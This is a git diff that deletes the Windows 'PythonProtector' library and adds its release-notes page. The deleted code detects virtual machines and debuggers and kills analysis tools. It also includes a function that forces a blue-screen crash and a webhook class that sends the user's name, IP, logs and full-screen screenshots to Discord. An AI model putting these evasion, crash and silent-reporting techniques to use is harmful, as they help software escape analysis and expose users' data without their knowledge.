self.event.dispatch( - ["process_running", "pyprotector_detect"], - f"{process.name()} was detected running on the system.", - self.name, - process=process, - ) - process.kill() - if self.exit: - self.logger.info("Exiting Due to Blacklisted Process") - os._exit(1) - except (psutil.NoSuchProcess, psutil.AccessDenied): - pass - except BaseException: - pass - - def CheckWindowNames(self) -> None: - """Checks Window Names Against Blacklisted List""" - - def winEnumHandler(hwnd, _ctx) -> None: - if ( - win32gui.GetWindowText(hwnd).lower() - not in Lists.BLACKLISTED_WINDOW_NAMES - ): - return - pid: tuple[int, int] = GetWindowThreadProcessId(hwnd) - if isinstance(pid, int): - with contextlib.suppress(BaseException): - psutil.Process(pid).terminate() - - else: - for process in pid: - with contextlib.suppress(BaseException): - psutil.Process(process).terminate() - - self.logger.info(f"{win32gui.GetWindowText(hwnd)} Found") - if self.report: - self.webhook.send( - f"Debugger {win32gui.GetWindowText(hwnd)}", - self.name, - ) - self.event.dispatch( - ["window_name_detected", "pyprotector_detect"], - f"Debugger {win32gui.GetWindowText(hwnd)} Found Open", - self.name, - window_name=win32gui.GetWindowText(hwnd), - ) - if self.exit: - self.logger.info("Exiting Due to Blacklisted Window Name") - os._exit(1) - - while True: - win32gui.EnumWindows(winEnumHandler, None) diff --git a/pyprotector/modules/vm.py b/pyprotector/modules/vm.py deleted file mode 100644 index 47d7701..0000000 --- a/pyprotector/modules/vm.py +++ /dev/null @@ -1,334 +0,0 @@ -""" - ____ ____ __ __ - / __ \\ __ __ / __ \\ _____ ____ / /_ ___ _____ / /_ - / /_/ // / / // /_/ // ___// __ \\ / __// _ \\ / ___// __/ - / ____// /_/ // ____// / / /_/ // /_ / __// /__ / /_ -/_/ \\__, //_/ /_/ \\____/ \\__/ \\___/ \\___/ \\__/ - /____/ - -Made With ❤️ By Ghoul & Marci -""" - -import ctypes -import os - -import httpx - -from typing import List - -from ..types import Event, Logger -from ..abc import Module -from ..constants import Lists, UserInfo -from ..utils.webhook import Webhook - - -class AntiVM(Module): - def __init__( - self, webhook: Webhook, logger: Logger, exit: bool, report: bool, event: Event - ) -> None: - self.webhook: Webhook = webhook - self.logger: Logger = logger - self.exit: bool = exit - self.report: bool = report - self.event: Event = event - - self.VMWARE_MACS: List[str] = ["00:05:69", "00:0c:29", "00:1c:14", "00:50:56"] - - self.HWIDS: List[str] = ( - httpx.get( - "https://raw.githubusercontent.com/xFGhoul/PythonProtector/dev/data/hwid_list.txt" - ) - .text.strip() - .split("\n") - ) - self.PC_NAMES: List[str] = ( - httpx.get( - "https://raw.githubusercontent.com/xFGhoul/PythonProtector/dev/data/pc_name_list.txt" - ) - .text.strip() - .split("\n") - ) - self.PC_USERNAMES: List[str] = ( - httpx.get( - "https://raw.githubusercontent.com/xFGhoul/PythonProtector/dev/data/pc_username_list.txt" - ) - .text.strip() - .split("\n") - ) - self.IPS: List[str] = ( - httpx.get( - "https://raw.githubusercontent.com/xFGhoul/PythonProtector/dev/data/ip_list.txt" - ) - .text.strip() - .split("\n") - ) - self.MACS: List[str] = ( - httpx.get( - "https://raw.githubusercontent.com/xFGhoul/PythonProtector/dev/data/mac_list.txt" - ) - .text.strip() - .split("\n") - ) - self.GPUS: List[str] = ( - httpx.get( - "https://raw.githubusercontent.com/xFGhoul/PythonProtector/dev/data/gpu_list.txt" - ) - .text.strip() - .split("\n") - ) - self.PLATFORMS: List[str] = ( - httpx.get( - "https://raw.githubusercontent.com/xFGhoul/PythonProtector/dev/data/pc_platforms.txt" - ) - .text.strip() - .split("\n") - ) - - @property - def name(self) -> str: - return "Anti VM" - - @property - def version(self) -> float: - return 1.0 - - def CheckLists(self) -> None: - """ - Checks if the user's HWID, PC username, PC name, IP, MAC address, or GPU is in the blacklists. - """ - if UserInfo.HWID in self.HWIDS: - self.logger.info(f"Blacklisted HWID Detected. HWID: {UserInfo.HWID}") - if self.report: - self.webhook.send( - f"Blacklisted HWID Detected: `{UserInfo.HWID}`", self.name - ) - self.event.dispatch( - ["blacklisted_hwid", "pyprotector_detect"], - "Blacklisted HWID Detected", - self.name, - hwid=UserInfo.HWID, - ) - if self.exit: - self.logger.info("Exiting due to blacklisted HWID") - os._exit(1) - - if UserInfo.USERNAME in self.PC_USERNAMES: - self.logger.info(f"Blacklisted PC User: {UserInfo.USERNAME}") - if self.report: - self.webhook.send( - f"Blacklisted PC User: `{UserInfo.USERNAME}`", self.name - ) - self.event.dispatch( - ["blacklisted_pc_username", "pyprotector_detect"], - "Blacklisted PC User Detected", - self.name, - pc_username=UserInfo.USERNAME, - ) - if self.exit: - self.logger.info("Exiting due to blacklisted PC username") - os._exit(1) - - if UserInfo.PC_NAME in self.PC_NAMES: - self.logger.info(f"Blacklisted PC Name: {UserInfo.PC_NAME}") - if self.report: - self.webhook.send( - f"Blacklisted PC Name: `{UserInfo.PC_NAME}`", self.name - ) - self.event.dispatch( - ["blacklisted_pc_name", "pyprotector_detect"], - "Blacklisted PC Name Detected", - self.name, - pc_name=UserInfo.PC_NAME, - ) - if self.exit: - self.logger.info("Exiting due to blacklisted PC name") - os._exit(1) - - if UserInfo.IP in self.IPS: - self.logger.info(f"Blacklisted IP: {UserInfo.IP}") - if self.report: - self.webhook.send( - f"Blacklisted IP: `{UserInfo.IP}`", - self.name, - ) - self.event.dispatch( - ["blacklisted_ip", "pyprotector_detect"], - "Blacklisted IP Detected", - self.name, - ip=UserInfo.IP, - ) - if self.exit: - self.logger.info("Exiting due to blacklisted IP") - os._exit(1) - - if UserInfo.MAC in self.MACS: - self.logger.info(f"Blacklisted MAC: {UserInfo.MAC}") - if self.report: - self.webhook.send( - f"Blacklisted MAC: `{UserInfo.MAC}`", - self.name, - ) - self.event.dispatch( - ["blacklisted_mac_address", "pyprotector_detect"], - "Blacklisted MAC Detected", - self.name, - mac_addr=UserInfo.MAC, - ) - if self.exit: - self.logger.info("Exiting due to blacklisted MAC address") - os._exit(1) - - if UserInfo.GPU in self.GPUS: - self.logger.info(f"Blacklisted GPU: {UserInfo.GPU}") - if self.report: - self.webhook.send( - f"Blacklisted GPU: `{UserInfo.GPU}`", - self.name, - ) - self.event.dispatch( - ["blacklisted_gpu", "pyprotector_detect"], - "Blacklisted GPU Detected", - self.name, - gpu=UserInfo.GPU, - ) - if self.exit: - self.logger.info("Exiting due to blacklisted GPU") - os._exit(1) - - def CheckRegistry(self) -> None: - """ - Checks VMWare Registry Keys - """ - reg1: int = os.system( - "REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc 2> nul" - ) - reg2: int = os.system( - "REG QUERY HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName 2> nul" - ) - - if reg1 != 1 and reg2 != 1: - self.logger.info("VMWare Registry Detected") - if self.report: - self.webhook.send("VMWare Registry Detected", self.name) - self.event.dispatch( - ["vmware_registry", "pyprotector_detect"], - "VMWare Registry Detected", - self.name, - reg1=reg1, - reg2=reg2, - ) - if self.exit: - self.logger.info("Exiting due to VMWare Registry Detection") - os._exit(1) - - def CheckMacAddress(self) -> None: - """ - Checks MAC Address Against Blacklisted List - """ - if UserInfo.MAC[:8] in self.VMWARE_MACS: - self.logger.info("VMWare MAC Address Detected") - if self.report: - self.webhook.send("VMWare MAC Address Detected", self.name) - self.event.dispatch( - ["vmware_mac", "pyprotector_detect"], - "VMWare MAC Address Detected", - self.name, - mac_addr=UserInfo.MAC, - ) - if self.exit: - self.logger.info("Exiting due to VMWare MAC Address Detection") - os._exit(1) - - def CheckScreenSize(self) -> None: - """ - Checks the screen size for being less than 200x200 - """ - x: int = ctypes.windll.user32.GetSystemMetrics(0) - y: int = ctypes.windll.user32.GetSystemMetrics(1) - if x <= 200 or y <= 200: - self.logger.info(f"Screen Size X: {x} | Y: {y}") - if self.report: - self.webhook.send(f"Screen Size Is: **x**: {x} | **y**: {y}", self.name) - self.event.dispatch( - ["screen_size", "pyprotector_detect"], - f"Screen Size X: {x} | Y: {y}", - self.name, - x=x, - y=y, - ) - if self.exit: - self.logger.info("Exiting due to small screen size") - os._exit(1) - - def CheckProcessesAndFiles(self) -> None: - """ - Checks For Blacklisted Processes and Files - """ - vmware_dll: str = os.path.join( - os.environ["SystemRoot"], "System32\\vmGuestLib.dll" - ) - virtualbox_dll: str = os.path.join(os.environ["SystemRoot"], "vboxmrxnp.dll") - - process: str = os.popen( - 'TASKLIST /FI "STATUS eq RUNNING" | find /V "Image Name" | find /V "="' - ).read() - processList = [] - - for processNames in process.split(" "): - if ".exe" in processNames: - processList.append(processNames.replace("K\n", "").replace("\n", "")) - - if any(Lists.VIRTUAL_MACHINE_PROCESSES) in processList: - self.logger.info("Blacklisted Virtual Machine Process Running") - if self.report: - self.webhook.send( - "Blacklisted Virtual Machine Process Running", self.name - ) - self.event.dispatch( - ["vm_process_running", "pyprotector_detect"], - "Blacklisted Virtual Machine Process Running", - self.name, - processes=processList, - ) - if self.exit: - self.logger.info("Exiting due to blacklisted VM process") - os._exit(1) - - if os.path.exists(vmware_dll): - self.logger.info("VMWare DLL Detected") - if self.report: - self.webhook.send("VMWare DLL Detected", self.name) - self.event.dispatch( - ["vmware_dll", "pyprotector_detect"], - "VMWare DLL Detected", - self.name, - dll=vmware_dll, - ) - if self.exit: - self.logger.info("Exiting due to VMWare DLL Detection") - os._exit(1) - - if os.path.exists(virtualbox_dll): - self.logger.info("VirtualBox DLL Detected") - if self.report: - self.webhook.send("VirtualBox DLL Detected", self.name) - self.event.dispatch( - ["virtualbox_dll", "pyprotector_detect"], - "VirtualBox DLL Detected", - self.name, - dll=virtualbox_dll, - ) - if self.exit: - self.logger.info("Exiting due to VirtualBox DLL Detection") - os._exit(1) - - def StartChecks(self) -> None: - if self.report: - self.logger.info("Starting VM Checks") - self.CheckRegistry() - self.CheckMacAddress() - self.CheckScreenSize() - self.CheckProcessesAndFiles() - self.CheckLists() - if self.report: - self.logger.info("Finished VM Checks") diff --git a/pyprotector/protector.py b/pyprotector/protector.py deleted file mode 100644 index f600795..0000000 --- a/pyprotector/protector.py +++ /dev/null @@ -1,306 +0,0 @@ -""" - ____ ____ __ __ - / __ \\ __ __ / __ \\ _____ ____ / /_ ___ _____ / /_ - / /_/ // / / // /_/ // ___// __ \\ / __// _ \\ / ___// __/ - / ____// /_/ // ____// / / /_/ // /_ / __// /__ / /_ -/_/ \\__, //_/ /_/ \\____/ \\__/ \\___/ \\___/ \\__/ - /____/ - -Made With ❤️ By Ghoul & Marci -""" - -import os -import platform -import humanize -import psutil -import sys - -import cpuinfo -import datetime -from pathlib import Path -from threading import Thread -from typing import Dict, Union, List, Tuple, Any, Optional - -from command_runner.elevate import is_admin -from loguru import logger - -from .constants import ProtectorInfo, UserInfo, Valid, encrypted_formatter -from .modules.process import AntiProcess -from .modules.vm import AntiVM -from .modules.dll import AntiDLL -from .modules.miscellaneous import Miscellaneous -from .modules.analysis import AntiAnalysis -from .modules.dump import AntiDump -from .utils.events import ProtectorObservable -from .utils.webhook import Webhook -from .utils.exceptions import ModulesNotValid, DetectionsNotValid, LogsPathEmpty - - -class PythonProtector: - def __init__( - self, - debug: Optional[bool], - modules: List[str], - webhook_url: str, - on_detect: Optional[List[str]], - logs_path: Optional[Union[Path, str]] = None, - ) -> None: - """Main PythonProtector Class - - Args: - debug (bool): Whether Or Not PythonProtector Should Log Actions. - modules (Set[str]): List Of Modules You Would Like To Enable. - webhook_url (str): Webhook URL For Reporting Remotely. - on_detect (Set[str], optional): List of Things PyProtector Does When Detections Are Caused - logs_path (Union[Path, str]): Path For PythonProtector Logs. - - Raises: - ModulesNotValid: Raises If Modules Are Not Valid - DetectionsNotValid: Raises If on_detect parameters are invalid - LogsPathEmpty: Raises If Debug Is Enabled But No Logs Path Are Provided - """ - # -- Validate Modules and Detections - self.modules: List[str] = modules - _modules_valid: bool = Valid.Modules.issuperset(self.modules) - if not _modules_valid: - raise ModulesNotValid( - "List Of Modules Provided Does Not Match, Consider Checking Valid Modules." - ) - - self.detections: List[str] = on_detect or [] - _detections_valid: bool = Valid.Detections.issuperset(self.detections) - if not _detections_valid: - raise DetectionsNotValid( - "List Of Detection Methods Don't Match, Consider Checking Valid Detections." - ) - - # -- Initialize Logging - self.debug: bool | None = debug - self.logs_path: Path | str | None = logs_path - self.logger = logger - - if self.debug and not self.logs_path: - raise LogsPathEmpty("Debug Enabled But No Log Path Was Provided.") - - if self.logs_path and not self.debug: - raise RuntimeWarning("Logs Path Was Provided But Debug Was Disabled.") - - if self.debug and self.logs_path: - LOGGING_CONFIG: Dict = { - "handlers": [ - { - "sink": str(self.logs_path), - "format": encrypted_formatter, - "enqueue": True, - "rotation": "daily", - "mode": "w", - "level": "INFO", - "serialize": False, - "backtrace": False, - "catch": False, - }, - ], - } - self.logger.configure(**LOGGING_CONFIG) - - # -- Initialize Constants - self.screenshot: bool = "Screenshot" in self.detections - self.exit: bool = "Exit" in self.detections - self.report: bool = "Report" in self.detections - - # -- Initialize Events - self.event: ProtectorObservable = ProtectorObservable() - - # -- Initialize Webhooks - self.webhook_url: str = webhook_url - - if self.report and self.webhook_url is None: - raise RuntimeWarning("Reporting Was Set But No Webhook URL Was Provided.") - - self.webhook: Webhook = Webhook( - self.webhook_url, str(self.logs_path), self.screenshot - ) - - # -- Initialize Modules - self.Miscellaneous: Miscellaneous = Miscellaneous( - self.webhook, self.logger, self.exit, self.report, self.event - ) - self.AntiProcess: AntiProcess = AntiProcess( - self.webhook, self.logger, self.exit, self.report, self.event - ) - self.AntiDLL: AntiDLL = AntiDLL( - self.webhook, self.logger, self.exit, self.report, self.event - ) - self.AntiVM: AntiVM = AntiVM( - self.webhook, self.logger, self.exit, self.report, self.event - ) - self.AntiAnalysis: AntiAnalysis = AntiAnalysis( - self.webhook, self.logger, self.exit, self.report, self.event - ) - self.AntiDump: AntiDump = AntiDump( - self.webhook, self.logger, self.exit, self.report, self.event - ) - - # -- Debug Checks - if self.debug: - self.logger.enable("PythonProtector") - else: - self.logger.disable("PythonProtector") - - @property - def version(self) -> str: - """Returns The Current PythonProtector Version - - Returns: - str: PythonProtector Version - """ - return ProtectorInfo.VERSION - - @property - def user(self) -> Tuple[str, str, str]: - """Returns a Tuple of User Information - - Returns: - tuple: User Information - """ - return (UserInfo.PC_NAME, UserInfo.USERNAME, UserInfo.HWID) - - @property - def ip(self) -> str: - """Returns The Current IP Address - - Returns: - str: User's IP Address - """ - return UserInfo.IP - - @property - def computer(self) -> Any: - """Returns The Current Users WMI Computer Object - - Returns: - Any: Computer Object - """ - return UserInfo.COMPUTER - - def _run_module_threads(self, debug: bool) -> None: - """ - It starts threads for each module - - Args: - debug (bool): Log If Debug Is Enabled - """ - - if debug: - if "Miscellaneous" in self.modules: - self.logger.info("Starting Miscellaneous Thread") - Thread( - name=self.Miscellaneous.name, target=self.Miscellaneous.StartChecks - ).start() - self.logger.info("Miscellaneous Thread Started") - if "AntiProcess" in self.modules: - self.logger.info("Starting Anti Process Thread") - Thread( - name="Anti Process List", target=self.AntiProcess.CheckProcessList - ).start() - Thread( - name="Anti Window Names", target=self.AntiProcess.CheckWindowNames - ).start() - self.logger.info("Anti Process Thread Started") - if "AntiDLL" in self.modules: - self.logger.info("Starting Anti DLL Thread") - Thread(name=self.AntiDLL.name, target=self.AntiDLL.BlockDLLs).start() - self.logger.info("Anti DLL Thread Started") - if "AntiVM" in self.modules: - self.logger.info("Starting Anti VM Thread") - Thread(name=self.AntiVM.name, target=self.AntiVM.StartChecks).start() - self.logger.info("Anti VM Thread Started") - if "AntiAnalysis" in self.modules: - self.logger.info("Starting Anti Analysis Thread") - Thread( - name=self.AntiAnalysis.name, target=self.AntiAnalysis.StartAnalyzing - ).start() - self.logger.info("Anti Analysis Thread Started") - if "AntiDump" in self.modules: - self.logger.info("Starting Anti Dump Thread") - Thread( - name=self.AntiDump.name, target=self.AntiDump.StartChecks - ).start() - self.logger.info("Started Anti Dump Thread") - else: - if "Miscellaneous" in self.modules: - Thread( - name=self.Miscellaneous.name, target=self.Miscellaneous.StartChecks - ).start() - if "AntiProcess" in self.modules: - Thread( - name="Anti Process List", target=self.AntiProcess.CheckProcessList - ).start() - Thread( - name="Anti Window Names", target=self.AntiProcess.CheckWindowNames - ).start() - if "AntiDLL" in self.modules: - Thread(name=self.AntiDLL.name, target=self.AntiDLL.BlockDLLs).start() - if "AntiVM" in self.modules: - Thread(name=self.AntiVM.name, target=self.AntiVM.StartChecks).start() - if "AntiAnalysis" in self.modules: - Thread( - name=self.AntiAnalysis.name, target=self.AntiAnalysis.StartAnalyzing - ).start() - if "AntiDump" in self.modules: - Thread( - name=self.AntiDump.name, target=self.AntiDump.StartChecks - ).start() - - def _run_no_debug_module_threads(self): - self.logger.info("PythonProtector Starting") - - self.logger.info(f"Version: {ProtectorInfo.VERSION}") - self.logger.info(f"Current Path: {ProtectorInfo.ROOT_PATH}") - self.logger.info( - f"Operating System: {platform.uname().system} {platform.uname().release} { - platform.win32_edition() - } ({platform.architecture(sys.executable)[0]})" - ) - bt = datetime.datetime.fromtimestamp(psutil.boot_time()) - self.logger.info( - f"Boot Time: {bt.year}/{bt.month}/{bt.day} {bt.hour}:{bt.minute}:{bt.second}" - ) - self.logger.info(f"Python: {platform.python_version()}") - self.logger.info(f"Is Administrator: {is_admin()}") - - cpu_info = cpuinfo.get_cpu_info() - cpu_type = cpu_info["arch"] - cpu_cores = cpu_info["count"] - - self.logger.info(f"Processor Type: {cpu_type}") - self.logger.info(f"Processor Cores: {cpu_cores}") - - vmem = psutil.virtual_memory() - - self.logger.info(f"Total Memory: {humanize.naturalsize(vmem.total)}") - self.logger.info(f"Memory Availability: {humanize.naturalsize(vmem.available)}") - self.logger.info(f"Memory Percentage: {vmem.percent}%") - - self.logger.info("Starting PythonProtector Services") - - self._run_module_threads(debug=True) - - def start(self) -> None: - """Main Function Of PythonProtector - - Raises: - DeprecationWarning: If Python Version < 3.13 - """ - # -- Check If Windows Platform - if sys.platform != "win32": - os._exit(1) - - if platform.python_version_tuple()[1] < "13": - raise DeprecationWarning("Python Is Not 3.13+") - - # -- Start Main Program - if self.debug: - self._run_module_threads(debug=True) - else: - self._run_no_debug_module_threads() diff --git a/pyprotector/types.py b/pyprotector/types.py deleted file mode 100644 index 291a05d..0000000 --- a/pyprotector/types.py +++ /dev/null @@ -1,16 +0,0 @@ -""" - ____ ____ __ __ - / __ \\ __ __ / __ \\ _____ ____ / /_ ___ _____ / /_ - / /_/ // / / // /_/ // ___// __ \\ / __// _ \\ / ___// __/ - / ____// /_/ // ____// / / /_/ // /_ / __// /__ / /_ -/_/ \\__, //_/ /_/ \\____/ \\__/ \\___/ \\___/ \\__/ - /____/ - -Made With ❤️ By Ghoul & Marci -""" - -from pyprotector.utils.events import ProtectorObservable -from loguru import logger - -Event = ProtectorObservable -Logger = logger diff --git a/pyprotector/utils/__init__.py b/pyprotector/utils/__init__.py deleted file mode 100644 index 3e242fd..0000000 --- a/pyprotector/utils/__init__.py +++ /dev/null @@ -1,10 +0,0 @@ -""" - ____ ____ __ __ - / __ \\ __ __ / __ \\ _____ ____ / /_ ___ _____ / /_ - / /_/ // / / // /_/ // ___// __ \\ / __// _ \\ / ___// __/ - / ____// /_/ // ____// / / /_/ // /_ / __// /__ / /_ -/_/ \\__, //_/ /_/ \\____/ \\__/ \\___/ \\___/ \\__/ - /____/ - -Made With ❤️ By Ghoul & Marci -""" diff --git a/pyprotector/utils/events.py b/pyprotector/utils/events.py deleted file mode 100644 index da4473f..0000000 --- a/pyprotector/utils/events.py +++ /dev/null @@ -1,33 +0,0 @@ -""" - ____ ____ __ __ - / __ \\ __ __ / __ \\ _____ ____ / /_ ___ _____ / /_ - / /_/ // / / // /_/ // ___// __ \\ / __// _ \\ / ___// __/ - / ____// /_/ // ____// / / /_/ // /_ / __// /__ / /_ -/_/ \\__, //_/ /_/ \\____/ \\__/ \\___/ \\___/ \\__/ - /____/ - -Made With ❤️ By Ghoul & Marci -""" - -from observable import Observable -from typing import List - - -class ProtectorObservable: - def __init__(self) -> None: - self.obs: Observable = Observable() - - def dispatch(self, events: List[str], text: str, module: str, **kwargs) -> None: - """ - It triggers an event. - - Args: - event (str): The event name. - text (str): The text that was sent - module (str): The name of the module that triggered the event. - - Returns: - None - """ - for event in events: - self.obs.trigger(event, text, module, **kwargs) diff --git a/pyprotector/utils/exceptions.py b/pyprotector/utils/exceptions.py deleted file mode 100644 index 8ff45c1..0000000 --- a/pyprotector/utils/exceptions.py +++ /dev/null @@ -1,29 +0,0 @@ -""" - ____ ____ __ __ - / __ \\ __ __ / __ \\ _____ ____ / /_ ___ _____ / /_ - / /_/ // / / // /_/ // ___// __ \\ / __// _ \\ / ___// __/ - / ____// /_/ // ____// / / /_/ // /_ / __// /__ / /_ -/_/ \\__, //_/ /_/ \\____/ \\__/ \\___/ \\___/ \\__/ - /____/ - -Made With ❤️ By Ghoul & Marci -""" - - -class ProtectorException(Exception): - """Base Class For All PythonProtector Exceptions""" - - -class ModulesNotValid(ProtectorException): - def __init__(self, message: str) -> None: - super().__init__(message) - - -class DetectionsNotValid(ProtectorException): - def __init__(self, message: str) -> None: - super().__init__(message) - - -class LogsPathEmpty(ProtectorException): - def __init__(self, message: str) -> None: - super().__init__(message) diff --git a/pyprotector/utils/http.py b/pyprotector/utils/http.py deleted file mode 100644 index 3d423d6..0000000 --- a/pyprotector/utils/http.py +++ /dev/null @@ -1,54 +0,0 @@ -""" - ____ ____ __ __ - / __ \\ __ __ / __ \\ _____ ____ / /_ ___ _____ / /_ - / /_/ // / / // /_/ // ___// __ \\ / __// _ \\ / ___// __/ - / ____// /_/ // ____// / / /_/ // /_ / __// /__ / /_ -/_/ \\__, //_/ /_/ \\____/ \\__/ \\___/ \\___/ \\__/ - /____/ - -Made With ❤️ By Ghoul & Marci -""" - -import httpx - - -def getIPAddress() -> str: - """ - Get IP Address of User - - Returns: - The IP address of the machine that is running the code. - """ - try: - response = httpx.get("https://ipinfo.io/json") - response.raise_for_status() - except ( - httpx.TimeoutException, - httpx.RequestError, - httpx.ConnectError, - httpx.HTTPError, - ): - return "No IP Address" - - response = response.json() - return response.get("ip") - - -def hasInternet() -> bool: - """ - Checks if the user has internet - - Returns: - A boolean value. - """ - try: - response = httpx.get("https://www.google.com", timeout=5) - response.raise_for_status() - return True - except ( - httpx.TimeoutException, - httpx.RequestError, - httpx.ConnectError, - httpx.HTTPError, - ): - return False diff --git a/pyprotector/utils/webhook.py b/pyprotector/utils/webhook.py deleted file mode 100644 index 2909f10..0000000 --- a/pyprotector/utils/webhook.py +++ /dev/null @@ -1,111 +0,0 @@ -""" - ____ ____ __ __ - / __ \\ __ __ / __ \\ _____ ____ / /_ ___ _____ / /_ - / /_/ // / / // /_/ // ___// __ \\ / __// _ \\ / ___// __/ - / ____// /_/ // ____// / / /_/ // /_ / __// /__ / /_ -/_/ \\__, //_/ /_/ \\____/ \\__/ \\___/ \\___/ \\__/ - /____/ - -Made With ❤️ By Ghoul & Marci -""" - -import io - -from PIL import ImageGrab - -from base64 import b64decode -from typing import Optional, List - -from discord_webhook import DiscordEmbed, DiscordWebhook - -from ..constants import EmbedConfig, LoggingInfo, UserInfo - - -class Webhook: - def __init__( - self, webhook_url: str, logs_path: str, screenshot: Optional[bool] - ) -> None: - self.webhook_url: str = webhook_url - self.logs_path: str = logs_path - self.screenshot: bool = screenshot if screenshot else False - - def TakeScreenshot(self) -> bytes: - """ - Take a screenshot of the entire screen and convert it to a byte array - - Returns: - A byte array of the screenshot. - """ - screenshot = ImageGrab.grab( - bbox=None, include_layered_windows=False, all_screens=True, xdisplay=None - ) - - screenshot_bytes_array = io.BytesIO() - screenshot.save(screenshot_bytes_array, format="PNG") - screenshot_bytes_array = screenshot_bytes_array.getvalue() - return screenshot_bytes_array - - def DecryptLogs(self) -> str: - """ - Decrypts Logs File - - Returns: - The decrypted logs file. - """ - with open(self.logs_path, "r") as logs_file: - decrypted_logs_file = io.StringIO() - lines: List[str] = logs_file.readlines() - for line in lines: - if not line.strip(): - continue - encrypted_message: str = line.split(" ")[4] - encoded_message: bytes = b64decode(encrypted_message.encode("latin1")) - decrypted_message: str = LoggingInfo.CIPHER.decrypt( - encoded_message - ).decode("utf-8") - line: str = line.replace(encrypted_message, decrypted_message) - decrypted_logs_file.write(f"{line}\n") - return decrypted_logs_file.getvalue() - - def send(self, content: str, module: str) -> None: - """ - It sends a webhook to a discord channel with the user's username, IP, and a screenshot of the user's - screen. - - Args: - content (str): The content of the message - module (str): The module that the user is using. - """ - webhook: DiscordWebhook = DiscordWebhook( - self.webhook_url, rate_limit_retry=True - ) - - webhook.add_file( - file=self.DecryptLogs().encode("utf-8"), - filename=f"{UserInfo.USERNAME}-[Security].log", - ) - - embed: DiscordEmbed = DiscordEmbed( - title=EmbedConfig.TITLE, color=EmbedConfig.COLOR - ) - - if self.screenshot: - webhook.add_file(file=self.TakeScreenshot(), filename="screenshot.jpg") - embed.set_image(url="attachment://screenshot.jpg") - - embed.add_embed_field(name="User", value=UserInfo.USERNAME, inline=True) - embed.add_embed_field(name="IP", value=UserInfo.IP, inline=True) - embed.add_embed_field(name="Module", value=module, inline=True) - - embed.set_timestamp() - embed.set_description(content) - - embed.set_thumbnail(url=EmbedConfig.ICON) - embed.set_footer( - text=f"PythonProtector | {EmbedConfig.VERSION}", - icon_url=EmbedConfig.ICON, - ) - - webhook.add_embed(embed) - - webhook.execute() diff --git a/pyprotector/utils/windows.py b/pyprotector/utils/windows.py deleted file mode 100644 index a7d6bea..0000000 --- a/pyprotector/utils/windows.py +++ /dev/null @@ -1,34 +0,0 @@ -""" - ____ ____ __ __ - / __ \\ __ __ / __ \\ _____ ____ / /_ ___ _____ / /_ - / /_/ // / / // /_/ // ___// __ \\ / __// _ \\ / ___// __/ - / ____// /_/ // ____// / / /_/ // /_ / __// /__ / /_ -/_/ \\__, //_/ /_/ \\____/ \\__/ \\___/ \\___/ \\__/ - /____/ - -Made With ❤️ By Ghoul & Marci -""" - -import ctypes - - -def BSOD() -> None: - """ - Calls the NtRaiseHardError function to trigger a BSOD. - """ - nullptr = ctypes.POINTER(ctypes.c_int)() - - ctypes.windll.ntdll.RtlAdjustPrivilege( - ctypes.c_uint(19), - ctypes.c_uint(1), - ctypes.c_uint(0), - ctypes.byref(ctypes.c_int()), - ) - ctypes.windll.ntdll.NtRaiseHardError( - ctypes.c_ulong(0xC000007B), - ctypes.c_ulong(0), - nullptr, - nullptr, - ctypes.c_uint(6), - ctypes.byref(ctypes.c_uint()), - ) diff --git a/release/index.html b/release/index.html new file mode 100755 index 0000000..cdc05f7 --- /dev/null +++ b/release/index.html @@ -0,0 +1,1215 @@ + + + + + + + + + + + + + + + + + + + + + + + + Release Notes - PythonProtector + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + +
+ +
+ + + + + + +
+
+ + + +
+
+
+ + + + +
+
+
+ + + +
+
+
+ + + +
+
+
+ + + +
+
+ + + + + + + + +

Release Notes

+ +

1.0 - 2022-09-18

+

Release Initial Project

+

1.1 - 2022-12-28

+

So It's been kind of a while since we released a new update, I had some pretty big stuff going on irl, no time to code, just recently came back and decided to make some updates.

+
    +
  • +

    Completely Configurable Module System - Users now have the choice of deciding what modules they use, currently there are only the main 4 me and marci provide, but we are open to pull requests and we will be adding more in the future, do check the repository or the example for more information.

    +
  • +
  • +

    should_exit argument - gives users the ability to decide if the program should exit if one of the detections were raised.

    +
  • +
  • +

    Overall Improvement/Refactoring - This update didn't bring everything me and marci are planning for, but this is just a couple, in the update I made to sure to cover some edge cases so you guys don't get confused

    +
  • +
+

1.5 - 2023-01-05

+

I know this is a pretty quick release, and the jump from 1.1 to 1.5 but I felt it was only necessary with the amount of changes made.

+

Major Changes:

+
    +
  • +

    Encrypted Logging - Instead of logs that anybody can read, logs are now encrypted at runtime and are only decrypted if malicious activity is detected

    +
  • +
  • +

    AntiAnalysis - Thanks to the work of Marci, a new module has been made!, this one comes with some pretty neat features, be sure to check it out

    +
  • +
  • +

    New On Detection System / on_detect - Similarly to the new configurable module system, I've gone ahead and done the same with what happens when malicious activity is detected, check out the examples for how it's used

    +
  • +
+

Minor Changes

+
    +
  • +

    Updated Minimum Python Requirement To 3.11

    +
  • +
  • +

    Refactoring and Misc Improvements

    +
  • +
+

1.6 - 2023-01-07

+

Minor bump for setup.py bug that didn't allow importing.

+

1.7 - 2023-01-25

+

Major Changes

+
    +
  • +

    Live Documentation - Docs are now public at http://ghouldev.me/PythonProtector

    +
  • +
  • +

    Event System - Event System, see docs for more info

    +
  • +
+

Minor Changes

+
    +
  • Miscellaneous Changes/Refactoring - For A Better User Experience
  • +
+

1.8 0 2023-02-11

+

Major Changes

+
    +
  • Anti Dump - New Anti Dump Module
  • +
+

Minor Changes

+
    +
  • Miscellaneous Changes/Refactoring - For A Better User Experience
  • +
  • Bug Fixes - Many Bug Fixes For Edge Cases
  • +
+ + + + + + +
+
+ + + + +
+ +
+ +
+ + +
+ +
+
+
+
